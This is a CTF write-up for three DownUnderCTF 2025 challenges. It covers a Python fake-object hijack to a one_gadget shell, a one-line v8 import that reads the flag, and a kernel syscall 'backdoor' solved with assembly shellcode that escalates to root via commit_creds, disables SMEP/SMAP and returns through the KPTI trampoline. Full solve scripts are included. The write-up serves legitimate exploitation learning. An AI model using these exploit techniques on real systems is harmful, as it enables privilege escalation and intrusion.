DownUnderCTF 2025
fakeobj.py
Description
Dear VulnX,
send me your best fake snake object
Regards,
joseph
AU: nc chal.2025.ductf.net 30001
US: nc chal.2025-us.ductf.net 30001
Attachments: fakeobj.py Dockerfile
Analysis
The challenge is very short, only one simple python file:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#!/usr/bin/env python3
import ctypes
obj = {}
print(f"addrof(obj) = {hex(id(obj))}")
libc = ctypes.CDLL(None)
system = ctypes.cast(libc.system, ctypes.c_void_p).value
print(f"system = {hex(system or 0)}")
fakeobj_data = bytes.fromhex(input("fakeobj: "))
for i in range(72):
ctypes.cast(id(obj), ctypes.POINTER(ctypes.c_char))[i] = fakeobj_data[i]
print(obj)
- It creates an empty dictionary
obj
- Leaks:
- address of
obj
- a libc address (
system
)
- address of
- Takes hex input and stores the first 72 bytes in the address of
obj
, basically allowing us to forge a fake dict - Finally it goes on to print the dict
This is very limited and we have to be clever to achieve RCE.
Exploit
From what I know, whenever you print any variable in python, it interally calls the associated __str__()
function to handle how the variable needs to be formatted (or if the user has defined a custom formatter for the same).
So there has to be a vtable inside the obj
structure. We will try to overwrite its __str__
entry to something like a one-gadget and hijack control.
This was my first time venturing into python internals. I started by compiling python3 with debug symbols, and used it to inspect the obj
in memory. It looks something like this:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
pwndbg> p *(PyDictObject *)0x7ffff707af90
$1 = {
ob_base = {
{
ob_refcnt = 1,
ob_refcnt_split = {1, 0}
},
ob_type = 0x7ffff7e4aca0 <PyDict_Type>
},
ma_used = 0,
ma_version_tag = 3433728,
ma_keys = 0x7ffff7d54120 <empty_keys_struct>,
ma_values = 0x0
}
The ob_type
field specifies what type of object this is, in our case it’s a PyDict_Type
. PyDict_Type
has many fields, the only interesting one for us is tp_str
1
2
3
4
5
6
7
8
9
pwndbg> ptype/o PyDict_Type
type = struct _typeobject {
/* 0 | 24 */ PyVarObject ob_base;
...
/* 136 | 8 */ reprfunc tp_str;
...
/* total size (bytes): 416 */
}
and it’s at +136 offset.
So basically if we fake the dict in a way such that the ob_type
field + 136 points to a one_gadget, it should be game over.
Now is a good time to consider which one_gadgets are feasible. I personally only found one to be useful:
1
2
3
4
5
0xebc88 execve("/bin/sh", rsi, rdx)
constraints:
address rbp-0x78 is writable
[rsi] == NULL || rsi == NULL || rsi is a valid argv
[rdx] == NULL || rdx == NULL || rdx is a valid envp
So here is the final solve script
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
#!/usr/bin/env python3
from pwn import *
context.arch = 'amd64'
libc = ELF("./libc.so.6")
ld = ELF("./ld-2.35.so")
context.terminal = [ 'tmux', 'splitw', '-h' ]
gs = '''
brva 0x170f40
c
'''
io = remote("chal.2025.ductf.net", 30001)
io.recvuntil(b'addrof(obj) = ')
obj = int(io.recvline().strip(), 16)
io.recvuntil(b'system = ')
system = int(io.recvline().strip(), 16)
log.info(f'{hex(obj) = }')
log.info(f'{hex(system) = }')
print(io.clean().decode())
payload = flat({
0: [
1, # original
obj + 64 - 136, # fake
0, # original
0x346700, # original
system + 0x6f0d20, # original
0, # original
0xfdfdfdfdfdfdfdfd, # original
0 # original
],
64: system - libc.sym.system + 0xebc88, # one_gadget
})
payload = payload.hex().encode()
io.sendline(payload)
io.interactive()
entangled
Description
Dear VulnX,
What will you do now that you are not so isolated?
Regards,
grub
AU: nc chal.2025.ductf.net 30003
US: nc chal.2025-us.ductf.net 30003
Attachments: entangled.tar
Analysis
I will be honest, I have no experience in v8 exploitation so I don’t even know where to begin. But what I do know is that this challenge has several “unintended” solves.
Exploit
1
import('/chal/flag.txt');
Yeah that’s it! 😅
backdoor
Description
Dear VulnX,
Can you escape the void in my backdoor? Creds are ctf:ctf
Regards,
toasterpwn
AU: nc chal.2025.ductf.net 30005
US: nc chal.2025-us.ductf.net 30005
Attachments: backdoor.tar.gz
Analysis
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
diff --git a/arch/x86/entry/syscalls/syscall_64.tbl b/arch/x86/entry/syscalls/syscall_64.tbl
index cfb5ca41e30d..bd5aa1866fc7 100644
--- a/arch/x86/entry/syscalls/syscall_64.tbl
+++ b/arch/x86/entry/syscalls/syscall_64.tbl
@@ -391,6 +391,7 @@
465 common listxattrat sys_listxattrat
466 common removexattrat sys_removexattrat
467 common open_tree_attr sys_open_tree_attr
+1337 common backdoor sys_backdoor
#
# Due to a historical design error, certain syscalls are numbered differently
diff --git a/arch/x86/kernel/Makefile b/arch/x86/kernel/Makefile
index 0d2a6d953be9..27270eb0fee9 100644
--- a/arch/x86/kernel/Makefile
+++ b/arch/x86/kernel/Makefile
@@ -48,6 +48,7 @@ CFLAGS_head32.o := -fno-stack-protector
CFLAGS_head64.o := -fno-stack-protector
CFLAGS_irq.o := -I $(src)/../include/asm/trace
+obj-y += backdoor.o
obj-y += head_$(BITS).o
obj-y += head$(BITS).o
obj-y += ebda.o
diff --git a/arch/x86/kernel/backdoor.c b/arch/x86/kernel/backdoor.c
new file mode 100644
index 000000000000..0f766f483503
--- /dev/null
+++ b/arch/x86/kernel/backdoor.c
@@ -0,0 +1,80 @@
+#include <linux/kernel.h>
+#include <linux/highmem.h>
+#include <linux/set_memory.h>
+#include <linux/gfp.h>
+#include <linux/syscalls.h>
+#include <linux/uaccess.h>
+#include <linux/mm.h>
+
+static void (*backdoor_func)(void);
+
+SYSCALL_DEFINE2(backdoor, void __user *, user_shellcode, size_t, size) {
+ void* sc = NULL;
+ void* page = NULL;
+ if (size > PAGE_SIZE) return -EINVAL;
+
+ page = alloc_pages(GFP_KERNEL, 0); // order 0 = 1 page
+ if (!page)
+ return -ENOMEM;
+
+ sc = page_address(page);
+ if (!sc)
+ return -EFAULT;
+
+ // Set the page to RWX (unsafe, but for CTF)
+ if (set_memory_rw((unsigned long)sc, 1))
+ return -EFAULT;
+ if (set_memory_x((unsigned long)sc, 1))
+ return -EFAULT;
+
+ if (copy_from_user(sc, user_shellcode, size)) {
+ return -EFAULT;
+ }
+
+ mb();
+
+ backdoor_func = sc;
+
+ asm volatile(
+ "xor %%rax, %%rax\n\t"
+ "xor %%rbx, %%rbx\n\t"
+ "xor %%rcx, %%rcx\n\t"
+ "xor %%rdx, %%rdx\n\t"
+ "xor %%rsi, %%rsi\n\t"
+ "xor %%rdi, %%rdi\n\t"
+ "xor %%rbp, %%rbp\n\t"
+ "xor %%r8, %%r8\n\t"
+ "xor %%r9, %%r9\n\t"
+ "xor %%r10, %%r10\n\t"
+ "xor %%r11, %%r11\n\t"
+ "xor %%r12, %%r12\n\t"
+ "xor %%r13, %%r13\n\t"
+ "xor %%r14, %%r14\n\t"
+ "xor %%r15, %%r15\n\t"
+ "xor %%rsp, %%rsp\n\t"
+
+ "fninit\n\t"
+ "pxor %%xmm0, %%xmm0\n\t"
+ "pxor %%xmm1, %%xmm1\n\t"
+ "pxor %%xmm2, %%xmm2\n\t"
+ "pxor %%xmm3, %%xmm3\n\t"
+ "pxor %%xmm4, %%xmm4\n\t"
+ "pxor %%xmm5, %%xmm5\n\t"
+ "pxor %%xmm6, %%xmm6\n\t"
+ "pxor %%xmm7, %%xmm7\n\t"
+ "pxor %%xmm8, %%xmm8\n\t"
+ "pxor %%xmm9, %%xmm9\n\t"
+ "pxor %%xmm10, %%xmm10\n\t"
+ "pxor %%xmm11, %%xmm11\n\t"
+ "pxor %%xmm12, %%xmm12\n\t"
+ "pxor %%xmm13, %%xmm13\n\t"
+ "pxor %%xmm14, %%xmm14\n\t"
+ "pxor %%xmm15, %%xmm15\n\t"
+
+ "jmp *%c[func]\n\t"
+ :
+ : [func] "i" (&backdoor_func)
+ : "memory"
+ );
+ return 0;
+}
diff --git a/include/linux/syscalls.h b/include/linux/syscalls.h
index e5603cc91963..d0fb21bd1b62 100644
--- a/include/linux/syscalls.h
+++ b/include/linux/syscalls.h
@@ -1321,3 +1321,4 @@ int __sys_getsockopt(int fd, int level, int optname, char __user *optval,
int __sys_setsockopt(int fd, int level, int optname, char __user *optval,
int optlen);
#endif
+asmlinkage long sys_backdoor(void __user *user_shellcode, size_t size);
- Basically, this challenge adds a new
backdoor
system call with number1337
to the kernel - It allocates a page
- Markes it as RWX
- Copies upto 0x1000 bytes of shellcode from userspace to the kernel page
Clears all registers, and jumps to the start of the kernel shellcode
- The basic idea of this challenge is that it allows RCE in the kernel
- But locks us in a void without any registers to pivot around memory
Now, it’s technically not possible to clear all registers, for example in this case $RIP
still holds the page address.
Exploit
We can use $RIP
to jump to nearby memory locations and get kbase leak.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
shellcode:
cli
lea rax, [rel shellcode]
sub rax, 8
mov rbx, 0xffffffff00000fff
mov rcx, 0xffffffff00000ae0
mov rdx, 0xffffffff00000ac0
check:
mov r8, qword [rax]
and r8, rbx
cmp r8, rcx
jne check_again
sub rax, 8
mov r8, qword [rax]
and r8, rbx
cmp r8, rdx
jne check_again
mov rax, qword [rax]
sub rax, 0x47aac0
...
check_again:
sub rax, 8
jmp check
The
cli
instruction is to disable preemption by the kernel, otherwise it results in an ugly crash.
Once we have the kbase in $RAX
, we can call commit_creds(init_creds)
to escalate to root
1
2
3
4
5
6
7
8
9
10
lea rsp, [rel shellcode]
add rsp, 0x500
mov rbx, rax
add rbx, 0x1a54c60
mov rdi, rbx ; init_cred
mov rbx, rax
add rbx, 0x3298f0
push rax
call rbx ; commit_creds
pop rax
Now we can make a clean return to userland by doing a classic swapgs
followed by iretq
with the userspace register state on the stack.
I have saved the registers before executing the kernel shellcode, but it is saved in userspace memory locations:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
_start:
; save state
mov rax, cs
mov [saved_cs], rax
mov rax, ss
mov [saved_ss], rax
mov rax, rsp
mov [saved_sp], rax
pushf
pop rax
mov [saved_rflags], rax
mov rax, 1337
lea rdi, [rel shellcode]
mov rsi, 0x1000
syscall
Accessing these values in the kernel will trigger a crash because of SMAP
. But guess what? We are already in the kernel shellcode, so we can just disable SMEP
and SMAP
by clearing those flags in $CR4
register. Now we can directly access the userspace memory to fetch those saved registers:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
mov rbx, cr4
xor rbx, 0x300000
mov cr4, rbx
mov rbx, 0
mov qword [rsp+0], rbx
mov qword [rsp+8], rbx
mov rbx, win
mov qword [rsp+16], rbx
mov rbx, [saved_cs]
mov qword [rsp+24], rbx
mov rbx, [saved_rflags]
mov qword [rsp+32], rbx
mov rbx, [saved_sp]
mov qword [rsp+40], rbx
mov rbx, [saved_ss]
mov qword [rsp+48], rbx
Since KPTI is also enabled, we need to take care of it as well. Popularly, there are 2 ways to tackle it:
- Signal handlers
- KPTI trampoline
Usually, I go for signal handlers since they are easier to setup in C, but here I am writing my entire exploit in assmebly, this makes it very hard to register handlers, hence I chose to go for KPTI trampoline
1
2
3
mov rbx, rax
add rbx, 0x1637 ; swapgs_restore_regs_and_return_to_usermode+103
jmp rbx
Finally the win function is defined like this:
1
2
3
4
5
6
7
8
win:
mov rax, 90 ; sys_chmod
lea rdi, [rel flag_path]
mov rsi, 0x1ff
syscall
mov rax, 60 ; sys_exit
mov rdi, 0
syscall
It’s an extremly simple chmod("/flag.txt", 0777)
wrapper to make the flag readable by us.
So here is the final solve script:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
; compile with
; $ nasm -f elf64 solve.asm
; $ ld -o solve solve.o
; $ upx solve
section .text
global _start
_start:
; save state
mov rax, cs
mov [saved_cs], rax
mov rax, ss
mov [saved_ss], rax
mov rax, rsp
mov [saved_sp], rax
pushf
pop rax
mov [saved_rflags], rax
mov rax, 1337
lea rdi, [rel shellcode]
mov rsi, 0x1000
syscall
shellcode:
cli
lea rax, [rel shellcode]
sub rax, 8
mov rbx, 0xffffffff00000fff
mov rcx, 0xffffffff00000ae0
mov rdx, 0xffffffff00000ac0
check:
mov r8, qword [rax]
and r8, rbx
cmp r8, rcx
jne check_again
sub rax, 8
mov r8, qword [rax]
and r8, rbx
cmp r8, rdx
jne check_again
mov rax, qword [rax]
sub rax, 0x47aac0
nop
lea rsp, [rel shellcode]
add rsp, 0x500
mov rbx, rax
add rbx, 0x1a54c60
mov rdi, rbx ; init_cred
mov rbx, rax
add rbx, 0x3298f0
push rax
call rbx ; commit_creds
pop rax
mov rbx, cr4
xor rbx, 0x300000
mov cr4, rbx
mov rbx, 0
mov qword [rsp+0], rbx
mov qword [rsp+8], rbx
mov rbx, win
mov qword [rsp+16], rbx
mov rbx, [saved_cs]
mov qword [rsp+24], rbx
mov rbx, [saved_rflags]
mov qword [rsp+32], rbx
mov rbx, [saved_sp]
mov qword [rsp+40], rbx
mov rbx, [saved_ss]
mov qword [rsp+48], rbx
mov rbx, rax
add rbx, 0x1637 ; swapgs_restore_regs_and_return_to_usermode+103
jmp rbx
check_again:
sub rax, 8
jmp check
win:
mov rax, 90 ; sys_chmod
lea rdi, [rel flag_path]
mov rsi, 0x1ff
syscall
mov rax, 60 ; sys_exit
mov rdi, 0
syscall
section .data
saved_cs dq 0
saved_ss dq 0
saved_sp dq 0
saved_rflags dq 0
flag_path db "/flag.txt", 0
And to upload to remote:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
from pwn import *
from gzip import GzipFile
from io import BytesIO
from tqdm import tqdm
# Edit these
host = 'chal.2025.ductf.net'
port = 30005
def chunk_exploit(exploit):
for i in range(0, len(exploit), 100):
yield exploit[i:i+100]
exploit = BytesIO()
with open('./solve', 'rb') as f_in:
with GzipFile(fileobj=exploit, mode='wb') as f_out:
f_out.write(f_in.read())
exploit = exploit.getvalue()
exploit = b64e(exploit)
# io = process('./run_challenge.sh')
io = remote(host, port)
print('waiting for vm to load')
io.recvuntil(b'Welcome to Buildroot')
io.sendlineafter(b'buildroot login: ', b'ctf')
io.sendlineafter(b'Password: ', b'ctf')
io.recvuntil(b'$')
chunks = list(chunk_exploit(exploit))
for chunk in tqdm(chunks, desc="Uploading exploit", unit="chunk"):
io.sendline(f'echo -n "{chunk}" >> exploit.gz.b64'.encode())
io.recvuntil(b'$')
io.sendline(b'base64 -d exploit.gz.b64 > exploit.gz')
io.sendline(b'gunzip exploit.gz')
io.sendline(b'chmod +x exploit')
io.clean()
io.sendline(b'./exploit')
io.sendline(b'cat /flag.txt')
io.interactive()